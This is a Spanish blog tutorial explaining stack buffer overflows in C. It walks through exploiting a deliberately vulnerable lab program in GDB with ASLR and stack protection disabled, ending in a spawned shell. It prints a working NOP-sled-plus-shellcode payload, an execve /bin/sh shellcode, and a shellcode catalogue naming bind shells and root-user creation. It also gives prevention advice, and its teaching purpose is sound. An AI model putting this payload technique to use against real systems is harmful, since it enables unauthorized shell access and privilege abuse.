Siguiendo un post que hice hace poco tiempo, sobre Buffer Overflow , me decidi a armar algo mas explicito sobre el asunto, en el cual mostrare algún otro ejemplo de como podemos ganarle una shell a un error en la comprobación del límite de las variables, en programas escritos en lenguaje C. Todo esto es a causa de que C no valida o comprueba el limite de las variables, lo cual permite sobreescribir de esta manera ciertas posiciones de memoria.
He leido mucho sobre el asunto, desde hace ya bastante tiempo y la verdad es que muchos tutoriales lo complican innecesariamente.

¿Qué Buffer Overflow?
Como dijimos anteriormente, un Buffer Overflow, es un error de programación producido cuando se copia a un array más datos de los que este puede contener.
Recordemos que el sistema operativo mantiene posiciones de memoria protegidas y otras no. Si se produce la escritura fuera de una zona de
memoria protegida se producirá una excepción del sistema de acceso a memoria seguido de la terminación del programa (SEGMENTATION FAULT).
En algunas implementaciones de C es posible corromper la pila de ejecucion (execution stack) escribiendo mas alla del fin de una cadena declarada auto en una rutina.
El codigo que hace esto posible se dice que desborda la pila (smash the stack ), y puede causar el retorno de la rutina y el salto a una direccion casual.
Esto puede producir algunos de los mas malignos bugs conocidos hasta ahora.
Existen ciertas variantes (de traduccion literal dudosa) que reciben los siguientes nombres (en ingles): trash the stack, scribble the stack, mangle the stack.

Overflow Example

Overflow Example

Algunas definiciones:
Un buffer es simplemente un bloque contiguo de memoria que mantiene multiples registros del mismo tipo de datos. Los programadores que trabajan con C normalmente lo asocian con los buffers usados en los arrays de cadena. Mas comunmente, arrays de caracteres. Los arrays, como todas las variables en C, pueden ser declaradas o bien dinamicas o bien estaticas. Las variables estaticas son cargadas en el segmento de datos en el momento de carga. Las variables dinamicas se alojan en la pila en el tiempo de ejecucion. Desbordar el buffer es como dice como se deduce de la traduccion del termino ingles, llenar por encima del limite, es decir, desbordar.

¿Que tenemos en la memoria?
Podemos distinguir tres grande aréas en la memoria, una región text, de solo lectura en la cual se almacenan las rutinas del programa en ejecución, una región data en la cual se encuentran todas aquellas variables que aún no se han inicializado y una región stack, donde nos interesaremos por las variables dinámicas, aquellas variables que ya han sido inicializadas. Si una variable no es dinámica, decimos que es una constante, pues mantiene su valor durante toda la ejecución del programa.
La memoria solo puede ser almacenada en multiplos de “word” . Por lo tanto 12 bytes ocupan 3 word.

El Stack
El stack es una región en la memoria, en la cual se almacena y se libera información, podemos decir que tiene funcionalidad dinámica.
Su nombre se refiere a que actúa como una pila, apilando en ella los elementos que van ingresando. Tiene la particularidad de permitir unicamente acceso a TOS (Top of the Stack ), esto significa que solamente podremos acceder al ultimo elemento colocada en ella, este método se llama LIFO (Last In First Out ), y es usado en muchos ambitos (no solo la informática), su contrapartida seria el FIFO (First In First Out ). Para hacer uso de este método el stack utiliza dos funciones en lenguaje ensamblador PUSH y POP . PUSH es utilizado para colocar “algo” en el stack y POP para removerlo de allí.
Si esto les complica, imaginemos al stack como a una pila de platos, si queremos agregar un nuevo plato (PUSH), lo agregamos arriba del todo (TOS), y si queremos retirar algún plato de mas abajo (POP), debemos retirar primero todos los platos superiores.
Las dimensiones del stack son ajustadas dinámicamente por el kernel (aleatoriamente o no). En la arquitectura x86 de Intel, el Stack crece desde las posiciones mas altas de memoria hacia las mas bajas.
Veamos un ejemplo sobre el funcionamiento del Stack:

En Lenguaje C:

*/ Ejemplo 1.c*/
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
    function(1,2,3);
}

En Ensamblador:

pushl $3
pushl $2
pushl $1
call function

Los registros:
Los registros son estructuras internas del CPU utilizados para comunicar a la memoría directamente con la UAL (Unidad Aritmético Logica) del CPU y tienen una longitud de entre 32 a 16 bits.
Pueden almacenar de a un “word” por vez, por lo cual al recibir un nuevo valor, pierde el que contenia.

Existen cuatro tipos de registros :

  • Registros generales
  • Registros de segmentos
  • Registros de offset
  • Otros registros

Los registros generales son utilizados para la manipulación de datos, un registro general de 32 bits que se subdivide en dos registros de 16 bits (AX) y estos en registros de 8 bits (AH y AL).
Ejemplos de registros generales son EAX, EBX, ECX, entre otros.
Por ejemplo EAX se utiliza para situar el resultado de operaciones aritméticas como DIV o MUL.

Los registros de segmentos contienen la primera parte de una dirección de memoria, aquí encontramos a CS que es el registro del segmento de la dirección de memoria que esta actualmente en ejecución, la dirección completa se encuentra en CS:ESP.
DS que es un registro de datos y SS que es el registro de pila, por lo cual podemos deducir que la pila se encuentra en SS:ESP.

Por su parte los registros de offset indican un offset relacionado con los registros de segmento. Aquí aparecen registros muy importantes como EIP (Extended Instruction Pointer ), este registro mantiene la próxima dirección de memoria a ser ejecutada. Por ejemplo si contiene el valor 0xFFFFFF significa que en la próxima instrucción a ejecutar se encuentra en 0xFFFFFF.
Por su parte el registro EBP (Extended Base Pointer ), mantiene el inicio local para una función.El registro EDI (Extended Source Index ) Contiene el offset de los datos de Destino de datos en una operación que se usa un bloque de memoria.
Y por ultimo encontramos otro (no menos importante) registro, este es ESP (Extended Stack Pointer ), quien conoce cual es la cima del stack de ejecución.

The GDB Debugger

The GDB Debugger

El codigo en teoría es secuencial (instrucciones no separadas por mas de un byte de distancia), una instrucción tras otra, pero la realidad dice que el código puede bifurcarse, (hacer un jmp), cuando esto sucede, nos preguntamos ¿como hace para acordarse donde estaba?, es muy simple el registro EIP se copia en el registro EDX, para de esta forma, tener “registro” de donde se encontraba antes del jump.
Para que un programa se pueda ejecutar posiblemente deba cargar variables locales y paramétros dentro de una función aquí aparece un puntero muy conocido FP (Frame Pointer ), que se utiliza en conjunto con el registro EBP.

Al llamar a una función:
1.Guardar valor FP, para ser restaurado al fin.
2.Copiar SP dentro de FP, creando nuevo FP.
3.Crear espacio en el stack para reserver memoria para las variables locales.

A este procedimiento se le denomina PROCEDURE LOG (o PROLOG), veamoslo en lenguaje Ensamblador:

push $ebp
mov $esp $ebp
push {valor}, $esp

Por su lado contrario la salida de una función es conocida como PROCEDURE EPILOG (o simplemente EPILOG), que en Ensamblador seria:

leave
ret

Shellcodes:
Una shellcode es un conjunto de ordenes programadas generalmente en lenguaje Ensamblador (o traducido a este).
Esta se inyecta en el stack, para conseguir que la maquina residente ejecute la operación
que se halla programado. Una shellcode debe ser corta, la mas corta conocida actualmente es de 22 bytes.
En el siguiente ejemplo lo que se realiza es una llamadas al sistema con execve, la cual llama al contenido de name[0] que no es otra cosa que la cadena /bin/sh.

#include <stdio.h>
void main() {
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

Linux pasa sus argumentos a las llamadas a través de registros y usa interrupciones por software para pasar al kernel mode.

EJEMPLO PRACTICO
Como en el ejemplo anterior, aquí vamos a utilizar la memoria sin randomizar, esto significa que el stack no sera aleatorio y se encontrara siempre en el mismo lugar.
Configuramos esto utilizando el comando sysctl, el cual contiene una larga lista de directivas que podemos pasarle a nuestro kernel asignandole valores booleanos (0 y 1 / True, False). Nosotros lo desactivamos de la siguiente manera:

#: sysctl kernel.randomize_va_space=0

Este es el código de fuentes (ANSI C) de nuestro ejemplo:

/* abo1.c                                       *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced...    */
int main(int argv,char **argc) {
    char buf[256];
    strcpy(buf,argc[1]);
}
Y durante la compilación del código de fuentes, que haremos con GCC (The GNU Compiler Collection ), utilizaremos el paramétro -fno-stack-protector. Lo compilamos de la siguiente manera y lo ejecutamos:
#: gcc -fno-stack-protector abo1.c -o abo1 #: ./abo1
Si vemos la variable buf, contiene un límite de 256 bytes, por lo tanto si pasamos mas de 255 bytes de entrada para esta variable producira un fallo de segmentación o segmentation fault, que es lo que nosotros buscamos. Vamos a probarlo:
#: ./abo1 `python -c 'print "\x41"*256'` segmentation fault  ./abo1 `python -c 'print "\x41"*256'`
Lo que hicimos es pasarle por medio del interprete Python, 256 veces, el valor hexadecimal de la letra A (si x41 en hexa es A mayúsculas, en minúsculas es x61). Lo que sucedio aquí es que hemos producido un overflow, y el programa tiro un error que como dijimos se llama segmentation fault. Si vemos el log /var/log/messages encontraremos algo como lo siguiente:
#: tail /var/log/messages Mar  2 10:54:14 kernel: abo1[3089]: segfault at 41414141 ip 41414141 sp bffff400 error 4
Y vemos repetido varias veces el valor 41, =), lo que nosotros hemos pasado como argumento!. Bien ahora utilizaremos GDB (The GNU Debugger), una herramienta maravillosa para depurar nuestras aplicaciones. En el shell hacemos:
#: gdb abo1 GNU gdb 6.8-debian This GDB was configured as "i486-linux-gnu"... (gdb)
Bien, ya tenemos gdb cargado con nuestro programita vulnerable. Ahora empezaremos a encontrar cual es la manera de obtener una shell de todo esto. Vamos a seguir probando, pero ahora desde GDB.
(gdb) r `python -c 'print "\x41"*256'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141

CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF340 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF330 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF320 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF310 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF300 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Nota: Otra forma de conocer el valor de un registro es escribiendo en GDB lo siguiente: info registers $registro o también  i r $registro . Por ejemplo:

(gdb) info registers $eip
(gdb) i r $eip

Bien lo primero que vemos que el programa no puede acceder a la posición de memoria 0x41414141. Nosotros le hemos pasado como argumento 256 letras A, que en hexadecimal son x41, lo cual nos dice algo, hemos modificado "el rumbo" del programa, y si vemos aún mas detalladamente el registro EIP encontramos que su valor al momento del segmentation fault es 0x41414141, por lo cual, EIP apunto a una dirección de memoria introducida manualmente por nosotros. ¡¡¡Hemos pisado al registro EIP!!!.
Ahora nos queda determinar que porción de los argumentos que nosotros pasamos corresponden al EIP.

Para hacerlo creo que lo mas sencillo es dividir el argumento de entrada en varias partes, e ir adivinando cuales corresponden al EIP, siempre debemos tener en cuenta que el EIP corresponde a una sección de 4 bytes, por lo cual, debemos encontrarlo dividiendo el código de distintas formas, sientanse libres de utilizar la que mas les guste.

(gdb) r `python -c 'print "\x90"*72+\x41"*4+"\x90"*180'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF340 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF330 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF320 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF310 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF300 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Bien aquí a prueba y error, hemos encontrado que porción de los paramétros que le pasamos al programa correspondan al EIP. Tiene un formato masomenos similar al siguiente: A (72 Bytes) + EIP (4 Bytes) + C (180 Bytes)

Si sumamos todo: 72 + 4 + 180 = 256 , el tamaño del buffer en bytes.

Ya tenemos un progreso importante, conocemos donde se encuentra el EIP, ahora podemos prestar mas atención al desarollo de la cadena que utilizaremos para ganar la shell y a la utilización de la Shellcode. En nuestro caso tendrá el siguiente formato:

NOP + EIP + NOP + SHELLCODE

NOP (No Operations) en lenguaje Ensamblador es x90 , esta instrucción le dice al procesador que no haga "nada" y que avanze un ciclo. Sera lo que utilizaremos nosotros aquí para rellenar los espacios que nos faltan.

Para disponer siempre de shellcodes a mano utilizo rasc, una herramienta maravillosa que mi amigo x41 me recomendo y me instalo el inclusive!.
Busquemos una shellcode para nuestro ejemplo y acorde a nuestro sistema (en este caso la arquitectura x86 de Intel).

#: rasc -L
arm.linux.binsh        47   Runs /bin/sh
arm.linux.suidsh       67   Setuid and runs /bin/sh
arm.linux.bind        203   Binds /bin/sh to a tcp port
armle.osx.reverse     151   iPhone reverse connect shell to HOST
dual.linux.binsh       99   x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh        121   Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh       87   Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser       219   Adds a root user named 'r00t' no pass.
ppc.osx.binsh         152   Executes /bin/sh
ppc.osx.binsh0         72   Executes /bin/sh (with zeroes)
ppc.osx.bind4444      224   Binds a shell at port 4444
ppc.osx.reboot         28   Reboots the box
ppc.bsd.binsh         119   Runs /bin/sh
sparc.linux.binsh     216   Runs /bin/sh on sparc/linux
sparc.linux.bind4444  232   Binds a shell at TCP port 4444
x64.linux.binsh        46   Runs /bin/sh on 64 bits
x86.bsd.binsh          46   Executes /bin/sh
x86.bsd.binsh2         23   Executes /bin/sh
x86.bsd.suidsh         31   Setuid(0) and runs /bin/sh
x86.bsd.bind4444      104   Binds a shell at port 4444
x86.bsdlinux.binsh     38   Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot      7   Reboots target box
x86.freebsd.reverse   126   Reboots target box
x86.linux.adduser      88   Adds user 'x' with password 'y'
x86.linux.bind4444    109   Binds a shell at TCP port 4444
x86.linux.binsh        24   Executes /bin/sh
x86.linux.binsh1       31   Executes /bin/sh
x86.linux.binsh2       36   Executes /bin/sh
x86.linux.binsh3       50   Executes /bin/sh or CMD
x86.linux.udp4444     125   Binds a shell at UDP port 4444
x86.netbsd.binsh       68   Executes /bin/sh
x86.openbsd.binsh      23   Executes /bin/sh
x86.openbsd.bind6969  147   Executes /bin/sh
x86.osx.binsh          45   Executes /bin/sh
x86.osx.binsh2         24   Executes /bin/sh
x86.osx.bind4444      112   Binds a shell at port 4444
x86.solaris.binsh      84   Runs /bin/sh
x86.solaris.binshu     84   Runs /bin/sh (toupper() safe)
x86.solaris.bind4444  120   Binds a shell at port 4444
x86.w32.msg           245   Shows a MessageBox
x86.w32.cmd           164   Runs cmd.exe and ExitThread
x86.w32.adduser       224   Adds user 'x' with password 'y'
x86.w32.bind4444      345   Binds a shell at port 4444
x86.w32.tcp4444       312   Binds a shell at port 4444

Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell /bin/sh. Veamos la shellcode:

#: rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Lo que en formato C seria:

unsigned char shellcode[] = {
  0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
  0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
  0x0b, 0xcd, 0x80,
};

Ya conocemos donde esta el EIP, tenemos la shellcode y utilizaremos NOP's, podemos comenzar a darle formato a nuestro string que inyectaremos como paramétro de entrada al programa. Quedandonos el formato de la siguiente forma:

NOP (72 Bytes) + EIP (4 Bytes) + NOP (155 Bytes) + SHELLCODE (24 Bytes)

Los "\x41 " que encontraran en el EIP, tienen un valor temporal, hasta que encontremos en que dirección de memoria se encuentra el comienzo de nuestro codigo malicioso. Por ahora nos queda asi:

(gdb) r `python -c 'print "\x90"*72+"\x41\x41\x41\x41"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF340 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF330 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF320 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF310 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF300 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Bien ya tenemos gran parte hecha, ahora tenemos que ver donde se encuentran nuestros NOP, asi de esta forma podemos redirigir el código malicioso, allí, de esta forma esto dara lugar a la ejecución de la shellcode.
Para esto vamos a analizar el stack, mas precisamente a ESP, asi que le decimos a GDB que nos imprima por pantalla los ultimos 300 valores de ESP.

(gdb) x/300h $esp
0xbffff310:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff320:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff330:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff340:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff350:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff360:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff370:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff380:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff390:     0x9090  0x9090  0x9090  0x9090  0x9090  0x4190  0xc031  0x6850
0xbffff3a0:     0x2f2f  0x6873  0x2f68  0x6962  0x896e  0x50e3  0x8953  0x99e1
0xbffff3b0:     0x0bb0  0x80cd  0xf300  0xbfff  0xf428  0xbfff  0xf455  0xb7e8
0xbffff3c0:     0x83f0  0x0804  0x82f0  0x0804  0xf428  0xbfff  0xf455  0xb7e8
0xbffff3d0:     0x0002  0x0000  0xf454  0xbfff  0xf460  0xbfff  0x3b38  0xb7fe
0xbffff3e0:     0x0001  0x0000  0x0001  0x0000  0x0000  0x0000  0x8210  0x0804
0xbffff3f0:     0xfff4  0xb7fc  0x83f0  0x0804  0x82f0  0x0804  0xf428  0xbfff
0xbffff400:     0xa081  0xebe7  0x3491  0xc5e8  0x0000  0x0000  0x0000  0x0000
0xbffff410:     0x0000  0x0000  0x72e0  0xb7ff  0xf37d  0xb7e8  0xeff4  0xb7ff
0xbffff420:     0x0002  0x0000  0x82f0  0x0804  0x0000  0x0000  0x8311  0x0804
0xbffff430:     0x83a4  0x0804  0x0002  0x0000  0xf454  0xbfff  0x83f0  0x0804
0xbffff440:     0x83e0  0x0804  0x2250  0xb7ff  0xf44c  0xbfff  0xcae5  0xb7ff
0xbffff450:     0x0002  0x0000  0xf5b0  0xbfff  0xf5d0  0xbfff  0x0000  0x0000
0xbffff460:     0xf6d1  0xbfff  0xf6e9  0xbfff  0xf6f5  0xbfff  0xfbdc  0xbfff
0xbffff470:     0xfbe5  0xbfff  0xfbf5  0xbfff  0xfbff  0xbfff  0xfc0f  0xbfff
0xbffff480:     0xfc1c  0xbfff  0xfc49  0xbfff  0xfc60  0xbfff  0xfc7f  0xbfff
0xbffff490:     0xfc90  0xbfff  0xfca3  0xbfff  0xfcab  0xbfff  0xfcbb  0xbfff
0xbffff4a0:     0xfcc9  0xbfff  0xfcd6  0xbfff  0xfcfb  0xbfff  0xfd5d  0xbfff
0xbffff4b0:     0xfd76  0xbfff  0xfd90  0xbfff  0xfd9e  0xbfff  0xfdb1  0xbfff
0xbffff4c0:     0xfdc4  0xbfff  0xfde8  0xbfff  0xfdf4  0xbfff  0xfdfd  0xbfff
0xbffff4d0:     0xfe1a  0xbfff  0xfe32  0xbfff  0xfe40  0xbfff  0xfe77  0xbfff

Ya hemos encontrado donde comienzan nuestros NOP's, asi que solamente nos queda apuntar el EIP a la posición de memoria 0xbffff310 , que la debemos escribir invertiendola, de izquierda a derecha, nos deberia quedar algo así: \x10\xf3\xff\xbf" . La agregamos a nuestro código malicioso y ejecutamos!.

(gdb) r `python -c 'print "\x90"*72+"\x10\xf3\xff\xbf"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Executing new program: /usr/local/bin/bash
sh-4.0$

Hemos ganado la shell!, bien, eso es lo que buscabamos, con esto demostramos que muchos programas escritos en C (y C++), son vulnerables a los ataque producidos por Buffer Overflow :) , de esta forma podemos llegar a ganar acceso local o remotamente a algun programa vulnerable. Si es remoto debe ser algún servicio a la escucha, que acepte paramétros como los que hemos pasado nosotros y si ese servicio corre con permisos especiales (por ejemplo root), obtendremos la shell con el mismo servicio, pudiendo hacer con el sistema lo que nosotros queramos. Lo cual demuestra la grave peligrosidad de estos ataques.

Nota: Notarán que en mi sistema se ejecuta /usr/local/bin/bash, esto es por que tengo instalada la versión 4 de Bash. /bin/sh es simplemente un enlace simbolo al ejecutable de Bash (/usr/local/bin/sh).

¿Como prevenirnos?
Podemos prevenirnos de diversas formas de buffers overflow, entre ellas recomiendo:

  • Invertir tiempo en el desarollo de nuevos sistemas
  • Comprobar el límite de cada variable
  • Comprobar códigos de retorno
  • Evitar usar funciones vulnerables como: gets(), strcpy(), strcat(), vsprintf(), scanf(), getc(), fgetc(), getchar()
  • Desarollo de software teniendo en cuenta principios de seguridad.
  • Otorgar al software los minímos privilegios necesarios.
  • Testear el software extensivamente.
  • Utilizar protecciones de compiladores como ProPolice2, StackGuard, entre otras.
  • Fuzzing de aplicaciones
  • Informarse sobre nuevas vulnerabilidades y aplicar parches

Esto fue todo por hoy, espero que les halla gustado. Un poquito de C, Lenguaje Ensamblador, Hexadecimal, y arquitectura de CPU's, son suficiente para poder reventar y aplastar el Stack. Espero que les guste.

Posts relacionados:

Tags: , , , , , ,

Comentar articulo:

Importante: Los comentarios son moderados.


Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.